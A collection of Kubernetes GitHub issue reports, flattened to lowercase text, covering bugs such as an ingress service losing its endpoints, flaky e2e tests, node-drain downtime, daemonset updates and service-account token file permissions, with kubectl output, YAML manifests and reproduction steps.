readonlyrootfilesystem: false\r           runasnonroot: false\r         stdin: true\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         tty: true\r         volumemounts:\r         - <redacted>\r       dnspolicy: clusterfirst\r       imagepullsecrets:\r       - name: registry-secret\r       nodename: ovh-app-1\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - <redacted>\r status:\r   availablereplicas: 3\r   conditions:\r   - lasttransitiontime: 2018-10-02t05:18:54z\r     lastupdatetime: 2018-10-02t05:18:54z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   - lasttransitiontime: 2018-10-03t03:48:46z\r     lastupdatetime: 2018-10-03t04:48:25z\r     message: replicaset \ app-5bf7dbc69f\  has successfully progressed.\r     reason: newreplicasetavailable\r     status: \ true\ \r     type: progressing\r   observedgeneration: 45\r   readyreplicas: 3\r   replicas: 3\r   updatedreplicas: 3\r \r    \r \r i can see the deployments, replicasets and services as expected.\r \r    \r $ kubectl get deployment -n cms\r name    desired   current   up-to-date   available   age\r app     3         3         3            3           18h\r redis   1         1         1            1           19h\r    \r \r    \r $ kubectl get replicaset -n cms\r name              desired   current   ready   age\r app-5bf7dbc69f    3         3         3       9h\r app-7dc677d665    0         0         0       17h\r app-849cc7c58d    0         0         0       18h\r app-dd6cf6698     0         0         0       17h\r redis-66985bf6c   1         1         1       19h\r    \r \r    \r $ kubectl get service -n cms \r name                                       type        cluster-ip      external-ip   port s    age\r app                                        clusterip   none            <none>        42/tcp    20h\r ingress-e213c2b4c622329de7aa2c0c28dc37e5   clusterip   10.43.216.158   <none>        80/tcp    16s\r redis                                      clusterip   none            <none>        42/tcp    21h\r \r $ kubectl get service -n cms ingress-e213c2b4c622329de7aa2c0c28dc37e5 -o yaml\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     field.cattle.io/targetworkloadids: ' \ deployment:cms:app\  '\r   creationtimestamp: 2018-10-09t08:39:00z\r   labels:\r     cattle.io/creator: norman\r   name: ingress-e213c2b4c622329de7aa2c0c28dc37e5\r   namespace: cms\r   ownerreferences:\r   - apiversion: v1beta1/extensions\r     controller: true\r     kind: ingress\r     name: cms\r     uid: 6617bfe4-c63f-11e8-b01c-9e111c023110\r   resourceversion: \ 1479746\ \r   selflink: /api/v1/namespaces/cms/services/ingress-e213c2b4c622329de7aa2c0c28dc37e5\r   uid: c4d9594b-cb9e-11e8-a6e1-9e111c023110\r spec:\r   clusterip: 10.43.216.158\r   ports:\r   - port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     workloadid_ingress-e213c2b4c622329de7aa2c0c28dc37e5: \ true\ \r   sessionaffinity: none\r   type: clusterip\r status:\r   loadbalancer: {}\r \r    \r \r    \r $ kubectl get ingress -n cms cms -o yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   annotations:\r     field.cattle.io/creatorid: user-5jgmc\r     field.cattle.io/ingressstate: '{\ y21zl2ntcy9kzxyuy21zlmfnzw50zgvzawdulmnvlnvrly8voda=\ :\ deployment:cms:app\ ,\ y21zlwrldi1szq==\ :\ cms:cms-dev-le\ }'\r     field.cattle.io/publicendpoints: ' {\ addresses\ : \ 94.237.50.126\  ,\ port\ :443,\ protocol\ :\ https\ ,\ servicename\ :\ cms:ingress-e213c2b4c622329de7aa2c0c28dc37e5\ ,\ ingressname\ :\ cms:cms\ ,\ hostname\ :\ dev.cms.agentdesign.co.uk\ ,\ path\ :\ /\ ,\ allnodes\ :true} '\r   creationtimestamp: 2018-10-02t12:33:43z\r   generation: 15\r   name: cms\r   namespace: cms\r   resourceversion: \ 1479727\ \r   selflink: /apis/extensions/v1beta1/namespaces/cms/ingresses/cms\r   uid: 6617bfe4-c63f-11e8-b01c-9e111c023110\r spec:\r   rules:\r   - host: dev.cms.agentdesign.co.uk\r     http:\r       paths:\r       - backend:\r           servicename: ingress-e213c2b4c622329de7aa2c0c28dc37e5\r           serviceport: 80\r         path: /\r   tls:\r   - hosts:\r     - dev.cms.agentdesign.co.uk\r     secretname: cms-dev-le\r status:\r   loadbalancer:\r     ingress:\r     - ip: 94.237.50.126\r     - ip: 94.237.51.162\r     - ip: 94.237.54.20\r     - ip: 94.237.54.24\r     - ip: 94.237.54.26\r    \r \r    \r $ kubectl get endpoints -n cms ingress-e213c2b4c622329de7aa2c0c28dc37e5\r name                                       endpoints                                      age\r ingress-e213c2b4c622329de7aa2c0c28dc37e5   10.42.0.157:80,10.42.3.146:80,10.42.4.168:80   10m\r    \r \r the deployment scales down the 'old' replicaset and scales up the 'new' replicaset. i can see this is happening as expected.\r \r    \r $ kubectl get replicaset -n cms\r name              desired   current   ready   age\r app-5bf7dbc69f    2         2         2       9h\r app-7dc677d665    2         2         1       17h\r app-849cc7c58d    0         0         0       18h\r app-dd6cf6698     0         0         0       17h\r redis-66985bf6c   1         1         1       19h\r    \r \r after a few seconds it's fully scaled...\r \r    \r $ kubectl get replicaset -n cms\r name              desired   current   ready   age\r app-5bf7dbc69f    0         0         0       9h\r app-7dc677d665    3         3         3       17h\r app-849cc7c58d    0         0         0       18h\r app-dd6cf6698     0         0         0       17h\r redis-66985bf6c   1         1         1       19h\r    \r \r however, at this point the site is showing the 503 service temporarily unavailable  nginx/1.13.12 , because the nginx-ingress logs show that the ingress has been taken out of the generated nginx configurations...\r \r    \r w1009 07:01:57.954692       5 controller.go:769  service \ cms/ingress-e213c2b4c622329de7aa2c0c28dc37e5\  does not have any active endpoint.\r i1009 07:01:57.955086       5 controller.go:169  configuration changes detected, backend reload required.\r i1009 07:01:57.955154       5 util.go:68  rlimit.max=1048576\r i1009 07:01:57.955184       5 nginx.go:519  maximum number of open file descriptors: 1047552\r i1009 07:01:58.051641       5 nginx.go:626  nginx configuration diff:\r --- /etc/nginx/nginx.conf       2018-10-09 07:01:48.210045444 +0000\r +++ /tmp/new-nginx-cfg780268064 2018-10-09 07:01:58.046093899 +0000\r @@ -211,21 +211,12 @@\r                 \r                 keepalive 32;\r                 \r -               server 10.42.3.138:80 max_fails=0 fail_timeout=0;\r                 server 10.42.0.148:80 max_fails=0 fail_timeout=0;\r +               server 10.42.3.138:80 max_fails=0 fail_timeout=0;\r                 server 10.42.4.157:80 max_fails=0 fail_timeout=0;\r                 \r         }\r         \r -       upstream cms-ingress-e213c2b4c622329de7aa2c0c28dc37e5-80 {\r -               least_conn;\r -               \r -               keepalive 32;\r -               \r -               server 10.42.4.167:80 max_fails=0 fail_timeout=0;\r -               \r -       }\r -       \r         upstream db-ingress-231cd0bcc1b631a6142a515c3a0858e8-80 {\r                 least_conn;\r                 \r @@ -657,7 +648,7 @@\r                         \r                         port_in_redirect off;\r                         \r -                       set $proxy_upstream_name \ cms-ingress-e213c2b4c622329de7aa2c0c28dc37e5-80\ ;\r +                       set $proxy_upstream_name \ \ ;\r                         \r                           enforce ssl on server side\r                         if  $redirect_to_https  {\r @@ -717,9 +708,8 @@\r                         proxy_next_upstream                     error timeout;\r                         proxy_next_upstream_tries               3;\r                         \r -                       proxy_pass http://cms-ingress-e213c2b4c622329de7aa2c0c28dc37e5-80;\r -                       \r -                       proxy_redirect                          off;\r +                         no endpoints available for the request\r +                       return 503;\r                         \r                 }\r                 \r i1009 07:01:58.117524       5 controller.go:179  backend successfully reloaded.\r    \r \r \r the reason for the 'service ... does not have any active endpoint' is as, according to  the docs  https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/ does-the-service-have-any-endpoints , because the 'endpoints controller has  not  found the correct pods for your service'.\r \r    \r $ kubectl get endpoints -n cms ingress-e213c2b4c622329de7aa2c0c28dc37e5\r name                                       endpoints   age\r ingress-e213c2b4c622329de7aa2c0c28dc37e5   <none>      12m\r    \r \r the advice given assumes the spec.selector field of the service is not matching the metadata.labels values on your pods. the  spec.selector  is:\r \r    \r spec:\r   selector:\r     workloadid_ingress-e213c2b4c622329de7aa2c0c28dc37e5: \ true\ \r    \r \r the metadata.labels on the pods are:\r \r    \r metadata:\r   labels:\r     pod-template-hash: \ 1693867259\ \r     workload.user.cattle.io/workloadselector: deployment-cms-app\r    \r \r so, the docs are correct. but i'm still not sure why the label is not being set correctly on the workload.\r \r   what you expected to happen  :\r \r the endpoint controller to find active endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the same issue occurs on both our production and development clusters and was still present after we rebuilt both as fresh clusters and migrated things across. i suspect it's reproducible elsewhere.\r \r   anything else we need to know?  :\r \r not that i can think of currently.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r production - 3x bare metal hosts with 64gb\r development - 5x standard vms with 8gb\r    \r - os  e.g. from /etc/os-release :\r    \r version=\ 18.04.1 lts  bionic beaver \ \r    \r \r - kernel  e.g.  uname -a  :\r    \r linux <hostnameredacted> 4.15.0-36-generic  39-ubuntu smp mon sep 24 16:19:09 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r    \r - install tools:\r \r clusters were deployed using rancher2  v2.0.8 .\r \r - others:\r \r n/a

testgrid: https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial\r \r sample failure log: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/7185?log log\r \r this test job has always been flaky, but is now failing more often than it's passing.  diagnosing it is difficult, though, because even the \ successful\  runs have multiple failures in the log, and the reported test failures seem not to be independant failures in the logs, but rather related to multiple failures to deploy pods and storage in the test setup.\r \r does anyone have more insight into what's going on here?  this feels more like a google cloud or test config failure than anything else.\r \r     

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r mixed protocols loadbalacer services are not supported by apiserver. it will decline those services with error \ cannot create an external load balancer with non-tcp/udp ports\ . hence  67986 added another annotation  service.beta.kubernetes.io/azure-load-balancer-mixed-protocols: \ true\   for this purpose. e.g.\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-mixed-protocols: \ true\ \r   name: web\r   namespace: default\r spec:\r   ports:\r   - port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     app: web\r   sessionaffinity: none\r   type: loadbalancer\r    \r \r however, this is still not working. the udp lb rule is still not created by the above service.\r \r   what you expected to happen  :\r \r both tcp and udp rules created for the service.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a service with above annotation.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.1\r - cloud provider or hardware configuration:  azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r this is part of work that relates to https://github.com/kubernetes/kubernetes/issues/63727\r \r @kubernetes/sig-cli-feature-requests\r \r   why is this needed  :\r

ie. i'm using aws, i want to use elb and ebs from the cloud provider, but not allow for route table manipulation, currently it seems that cloud providers are all or nothing, which is quite problematic when one of the features can't be used due to org policies.

moving the discussion to an issue\r \r cc @smarterclayton @bgrant0607\r \r in 1.5, the kubectl -o jsonpath command was changed to throw an error if the field referred to by the path is not found.  pre 1.4 the field might have been defaulted to a value and returned this value instead.\r \r i am not sure if we consider this a api compatibility breaking change. the json path doc does not explicitly state what the behavior is when the field is not present in the json.\r \r 1.4 behavior:\r if the field is present  non-pointer  in the struct, but missing from the json, return empty string\r if the field is missing from the struct, exit 1 with an error\r \r 1.5 behavior:\r if the field is missing from the json, exit 1 with an error\r \r i have not been able to find a record of the original intention when the field is missing from the json. it would probably be best to support either behavior by exposing a flag to control the knobs introduced in  31714. i am not sure it is worth the risk introduced to get that into 1.5 though.\r \r causing skew test failures:  35741

kubefed join  joins a cluster to a federation. however, users are expected to make the modification to the  kube-dns  config by hand to make the intra-cluster service discovery to work. this config used to be passed as a flag to  kube-dns  and required  kube-dns  restart. in v1.5,  kube-dns  learned the ability to read this config from a configmap and needs no restarts. it watches for the configmap and automatically updates its internal config whenever the configmap changes. this makes  kube-dns  config change amenable to automation. so we should make this change when the cluster is joined to a federation and revert it when the cluster is unjoined.\r \r cc @kubernetes/sig-federation @irfanurrehman

pr  40249 disabled nodeoutofdisk e2e test because it is wreaking havoc on test clusters and affecting all the other tests on those clusters. the current solution doesn't work. we have tried other solutions that hasn't worked either. we need to come up with a test for this feature that works.\r \r @kubernetes/sig-node-bugs @vishh

what keywords did you search in kubernetes issues before filing this one?  : \ kubelet failed to get node info\ \r \r that search turned up two open issues:  41850 and  35238. however, both of those seem to have to do with errors regarding the cloud provider. we do not use a cloud provider  we're seeing these errors on nodes running outside of a cloud provider .\r \r ---\r \r   is this a bug report or feature request?    choose one :   bug report  \r \r   kubernetes version    use  kubectl version  : kubelet version  v1.4.7+coreos.0 \r \r \r   environment  :\r -   cloud provider or hardware configuration  : physical hw, 4-core, 8g ram\r -   os    e.g. from /etc/os-release : coreos container linux stable\r -   kernel    e.g.  uname -a  : linux minion 4.9.9-coreos-r1  1 smp tue mar 14 21:09:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2620 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r when  kubelet  starts, there are times when it cannot connect to the kubernetes master because the network is unreachable, and continues to fail even after the network is actually reachable.\r \r   what you expected to happen  :\r \r i expected the  kubelet  to eventually be able to make a connection to the kubernetes master once the network is reachable.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r unsure. it does not happen consistently.\r \r   anything else we need to know  :\r \r in the systemd service unit for the  kubelet  service  via the cloud-config  i specify  requires=network-online.target  and  after=network-online.target , but this doesn't seem to make a difference.\r \r i've posted some anonymized journal logs for the  kubelet  service at  this gist  https://gist.github.com/activeshadow/c41aca55e0a9b42899ddc5950513a581 . the journal logs on the actual host continue to log  kubelet failed to get node info  as time goes on, even after the routable network to the kubernetes master is indeed reachable.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?   \r kubectl annotation \r \r ---\r \r   bug report:   \r  i did a  kubectl describe aws-cli  to check the annotations but it didn't show any. \r my pod definition, aws-cli.yml is as follows:\r    \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: aws-cli\r   labels:\r     name: aws-cli\r   annotations:\r     iam.amazonaws.com/role: arn:aws:iam::487267539104:role/engineer\r spec:\r   containers:\r   - image: fstab/aws-cli\r     command:\r       - \ /home/aws/aws/env/bin/aws\ \r       - \ s3\ \r       - \ ls\ \r       - \ kops-production-euwest-1\ \r     name: aws-cli\r    \r i researched through a couple of bugs including https://github.com/kubernetes/kubernetes/issues/23380 to look for a probable fix.\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws\r -   os    e.g. from /etc/os-release :\r ubuntu 16.04\r -   kernel    e.g.  uname -a  :\r linux vagrant 4.4.0-51-generic  72-ubuntu smp thu nov 24 18:29:54 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r kops, helm\r \r   what happened  :\r on adding an annotation to aws.cli.yml , the pod went into containercreating state. so i ran a  kubectl describe pod aws-cli  to view the meta data and annotation but surprisingly it was missing. i researched through a few bugs addressing a similar issue and looked like the fix was merged way back.\r \r   what you expected to happen  :\r annotations should have shown up in the describe pod. if not, is there any other way to view them ?\r \r   how to reproduce it    as minimally and precisely as possible :\r create the pod and just  spin it in the cluster. run a  kubectl describe <pod>  and look out for annotations\r

kubernetes version    use  kubectl version  :\r \r $ kubectl version --context=dev\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r - gke  cluster version 1.6.4 \r \r   what happened  :\r \r i create a federated ingress with clusters in two gce regions  us-central1 & europe-west1 .\r \r both clusters are created with balancingmode=rate, maxrps=1\r \r when more than  1 rps   num_nodes  is being sent from clients in europe, traffic appears to be round-robined to both the cluster in the us and the cluster in europe.\r \r   what you expected to happen  :\r \r i expect to be able to send most traffic from european clients to the cluster in europe, and only spill-over to the us when europe is overloaded. to accomplish this, maxrps needs to be set to an appropriately large value  based on our load testing , or we need to be able to use the utilization-based mode.\r \r right now, our clients unnecessarily have to pay a latency penalty due traffic being sent cross-region, even when we are not close to being overloaded in any region.\r \r perhaps the ingress controller could adopt a maxrps from an annotation on the deployment, similar to the way it adopts a health check from the readinessprobe?\r \r  

 \r   what happened  :\r \r i ran a demo application:\r \r    bash\r kubectl run my-nginx --image=nginx --port 80 --expose\r    \r \r then i defined a  poddisruptionbudget :\r \r    yaml\r apiversion: policy/v1beta1\r kind: poddisruptionbudget\r metadata:\r   name: my-nginx\r spec:\r   minavailable: 1\r   selector:\r     matchlabels:\r       app: my-nginx\r    \r \r then i executed  kubectl drain --force --ignore-daemonsets --delete-local-data node-1 .  i used  --force  because  node-1  is a master node \r \r i monitored the pods with  while true; do date; kubectl get pods -o wide; sleep 1; done \r \r output:\r \r    \r thu jun 29 23:36:58 bst 2017\r name                       ready     status    restarts   age       ip             node\r my-nginx-858393261-pxgh3   1/1       running   0          16d       10.x.x.x       node-1\r thu jun 29 23:36:59 bst 2017\r name                       ready     status    restarts   age       ip             node\r my-nginx-858393261-pxgh3   1/1       running   0          16d       10.x.x.x       node-1\r thu jun 29 23:37:00 bst 2017\r name                       ready     status    restarts   age       ip             node\r my-nginx-858393261-pxgh3   1/1       running   0          16d       10.x.x.x       node-1\r thu jun 29 23:37:01 bst 2017\r name                       ready     status    restarts   age       ip             node\r my-nginx-858393261-pxgh3   1/1       running   0          16d       10.x.x.x       node-1\r thu jun 29 23:37:03 bst 2017\r name                       ready     status    restarts   age       ip             node\r my-nginx-858393261-pxgh3   1/1       running   0          16d       10.x.x.x       node-1\r thu jun 29 23:37:04 bst 2017\r name                       ready     status        restarts   age       ip             node\r my-nginx-858393261-pxgh3   1/1       terminating   0          16d       10.x.x.x       node-1\r thu jun 29 23:37:05 bst 2017\r name                       ready     status              restarts   age       ip             node\r my-nginx-858393261-pdr90   0/1       containercreating   0          1s        <none>         node-2\r my-nginx-858393261-pxgh3   1/1       terminating         0          16d       10.x.x.x       node-1\r thu jun 29 23:37:06 bst 2017\r name                       ready     status              restarts   age       ip             node\r my-nginx-858393261-pdr90   0/1       containercreating   0          2s        <none>         node-2\r my-nginx-858393261-pxgh3   1/1       terminating         0          16d       10.x.x.x       node-1\r thu jun 29 23:37:07 bst 2017\r name                       ready     status              restarts   age       ip             node\r my-nginx-858393261-pdr90   0/1       containercreating   0          4s        <none>         node-2\r my-nginx-858393261-pxgh3   1/1       terminating         0          16d       10.x.x.x       node-1\r thu jun 29 23:37:09 bst 2017\r name                       ready     status              restarts   age       ip             node\r my-nginx-858393261-pdr90   0/1       containercreating   0          5s        <none>         node-2\r my-nginx-858393261-pxgh3   1/1       terminating         0          16d       10.x.x.x       node-1\r thu jun 29 23:37:10 bst 2017\r name                       ready     status              restarts   age       ip             node\r my-nginx-858393261-pdr90   0/1       containercreating   0          6s        <none>         node-2\r my-nginx-858393261-pxgh3   1/1       terminating         0          16d       10.x.x.x       node-1\r thu jun 29 23:37:11 bst 2017\r name                       ready     status        restarts   age       ip             node\r my-nginx-858393261-pdr90   1/1       running       0          7s        10.y.y.y       node-2\r my-nginx-858393261-pxgh3   1/1       terminating   0          16d       10.x.x.x       node-1\r thu jun 29 23:37:12 bst 2017\r name                       ready     status        restarts   age       ip             node\r my-nginx-858393261-pdr90   1/1       running       0          8s        10.y.y.y       node-2\r my-nginx-858393261-pxgh3   1/1       terminating   0          16d       10.x.x.x       node-1\r thu jun 29 23:37:13 bst 2017\r name                       ready     status    restarts   age       ip             node\r my-nginx-858393261-pdr90   1/1       running   0          9s        10.y.y.y       node-2\r thu jun 29 23:37:14 bst 2017\r name                       ready     status    restarts   age       ip             node\r my-nginx-858393261-pdr90   1/1       running   0          12s       10.y.y.y       node-2\r thu jun 29 23:37:17 bst 2017\r    \r \r   what you expected to happen  :\r \r i expected kubernetes to\r \r 1. schedule a new  my-nginx  pod on another node\r 2. wait for it to become ready\r 3. in parallel  see  43576 :\r 3a. update the service to send traffic to the new pod\r 3b. terminate the pod on the node that's being drained\r \r i think the poddisruptionbudget didn't have any effect. i ran another test without it and i ended up with a single, unready pod. i believe that happened because pulling the nginx image took longer on the third machine.\r \r anyway, it should be possible for me to drain master/worker nodes without downtime without\r \r   having to run 2+ replicas of everything with the correct anti-affinity annotations, or\r   having to specify any pdbs  kubernetes should assume  minavailable: 1  \r \r if the issue is from using  --force  then administrators need a better way of draining master nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above, it's 3 commands.\r \r   environment  :\r - kubernetes version: v1.6.5  client and nodes \r - cloud provider or hardware configuration  : bare-metal servers\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :  4.4.0-  \r - install tools: custom, from scratch installation

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r   what happened  :\r \r if i create a daemonset with hostnetwork, then when upgrade the daemonset, there will be some port conflict.\r \r we should support  recreate  update strategy for daemonset like deployment.\r \r /cc @janetkuo \r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r due to a fix   51279  that went into k8s v1.8, the daemonset scheduler now respects the termination grace period.  this results in calico/node taking longer to restart during a rolling upgrade or deletion, which delays updates to the networking dataplane during that time.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - start the calico add-on on a k8s v1.8 cluster\r - delete a calico/node pod.\r - observe it takes a long time to be restarted  ~90s \r \r   anything else we need to know?  :\r \r i'm about to submit a pr to reduce the grace period for calico/node.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r we have an autoscaling group of k8s masters which when coming up use kubeadm init to initialize.  the kube-apiserver.yaml manifest intermittently  but quite often  comes up with all the correct volumes defined, but some mounts missing.  hand editing the mounts back in fixes the issue.\r \r   what you expected to happen  :\r \r all volumes defined _and_ mounted.\r \r   environment  :\r \r k8s 1.11.3 on aws, running ubuntu 18.04 lts, kernel 4.15.3.\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : ci-kubernetes-e2e-gce-scale-correctness\r \r   which test s  are failing  :   sig-network  loadbalancing: l7  slow  nginx should conform to ingress spec\r \r   since when has it been failing  : it failed yesterday  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/221 , passed today\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-correctness\r \r   reason for failure  : timed out\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r provide a standard, easy to use debugging workflow for all contributors who work on a k8s container based on distroless \r   why is this needed  :\r distroless doesn't contain shell. thus, the widely used debugging approaches  e.g. entrypoint or kubectl exec  no longer work for distroless-based images. we'd like to come up with some tooling  or maybe a handbook  about how to debug on distroless-based containers. hope this can help contributors be more efficient on triaging prod issues and developing new features.

what happened  :\r i am attempting to use the rotating service account certificate feature in kubernetes 1.14.3 and my infrastructure rotates the certificates every day but i found too many problems to fully implement.\r \r this bug specifically addresses the permissions on the token file created inside the projected volume used by the boundserviceaccounttokenvolume feature flag.\r \r     $ ls -al /var/run/secrets/kubernetes.io/serviceaccount/token\r     lrwxrwxrwx 1 root root 12 jun  8 17:41 /var/run/secrets/kubernetes.io/serviceaccount/token -> ..data/token\r     $ ls -al /var/run/secrets/kubernetes.io/serviceaccount/..data/token \r     -rw------- 1 root root 862 jun  8 17:41 /var/run/secrets/kubernetes.io/serviceaccount/..data/token\r \r as you can see the original token location has the correct permissions but that is a symlink to ..data/token which is only readable by root. this breaks many services that don't run as root  eg. tiller which runs as nobody .\r \r   what you expected to happen  :\r \r i would expect the ..data/token file to have at read  '-rw-r--r--' permissions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on a clean kubernetes 1.14.3 installation...\r \r create /tmp/kubeadm.conf:\r \r     kind: clusterconfiguration\r     apiversion: kubeadm.k8s.io/v1beta1\r     apiserver:\r       extraargs:\r         feature-gates: boundserviceaccounttokenvolume=true\r         service-account-issuer: api\r         service-account-signing-key-file: /etc/kubernetes/pki/sa.key\r         service-account-api-audiences: api\r     controllermanager:\r       extraargs:\r         feature-gates: \ boundserviceaccounttokenvolume=true\ \r     scheduler: {}\r     ---\r     kind: kubeletconfiguration\r     apiversion: kubelet.config.k8s.io/v1beta1\r     featuregates:\r       boundserviceaccounttokenvolume: true\r \r init kubernetes master:\r \r     kubeadm init --config=/tmp/kubeadm.conf\r \r locate the kube-proxy container:\r \r     docker ps | grep k8s_kube-proxy\r \r inspect the container:\r \r     docker inspect  container \r \r locate the mounts section and find the \ source\  of the /var/run/secrets/kubernetes.io/serviceaccount directory. then do an 'ls -al' on the \ ${source_dir}/..data/\  directory. instead of '-rw-r--r--' the permissions will be '-rw-------'. if you repeat this process but without the config file i provided then the permissions will be '-rw-r--r--' which works correctly for non-root user containers.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version 1.14.3\r - cloud provider or hardware configuration: na\r - os  e.g:  cat /etc/os-release  : centos 7\r - kernel  e.g.  uname -a  : linux  3.10.0-957.1.3.el7.x86_64  1 smp thu nov 29 14:49:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: na\r - network plugin and version  if this is a network-related bug : na\r - others:

...because it relies on mounting /tmp into a container.  generally it is a bad idea to grant  svirt_lxc_net_t  to  tmp_t , so we should think about another way to do this.  i understand why /tmp was used, and it might be ok for this to fail with selinux enforcing for now, since this really shouldn't work from a container into /tmp or /var/tmp as far as i know.  @jayunit100 @eparis @timothysc

i have just had to re-write this loop:      go     var got  api.namespace     for t := time.now  ; time.since t  < singlecalltimeout; time.sleep poll  {         got, err = c.namespaces  .create namespaceobj          if err == nil {             break         }     }     if err != nil {         return nil, err     }      as:      go     var got  api.namespace     if err := wait.poll poll, timeout, func    bool, error  {         var err error         got, err = c.namespaces  .create namespaceobj          if err != nil {             return false, nil         }         return true, nil     } ; err != nil {         return nil, err     }      because we are supposed to use  wait.poll  in our tests.  i don't llike this. with the lack of generics in go we can't do a good job of writing such a function. ideally, we should paramaterize on result type of the operation so created values can be returned and so that any information required by the closure can be passed as an argument. we can't do this in go today so in the closure we end up using a value from the outer scope  here  got   which is horrible. i also don't like the use of a closure here  and the underlying implementation uses channels  -- all of this seems like a lot of complexity for what is a fairly simple procedure.  personally, i find the  wait.poll  pattern hard to understand and i think it makes our tests harder to write and maintain.  @quinton-hoole @ixdy @mbforbes

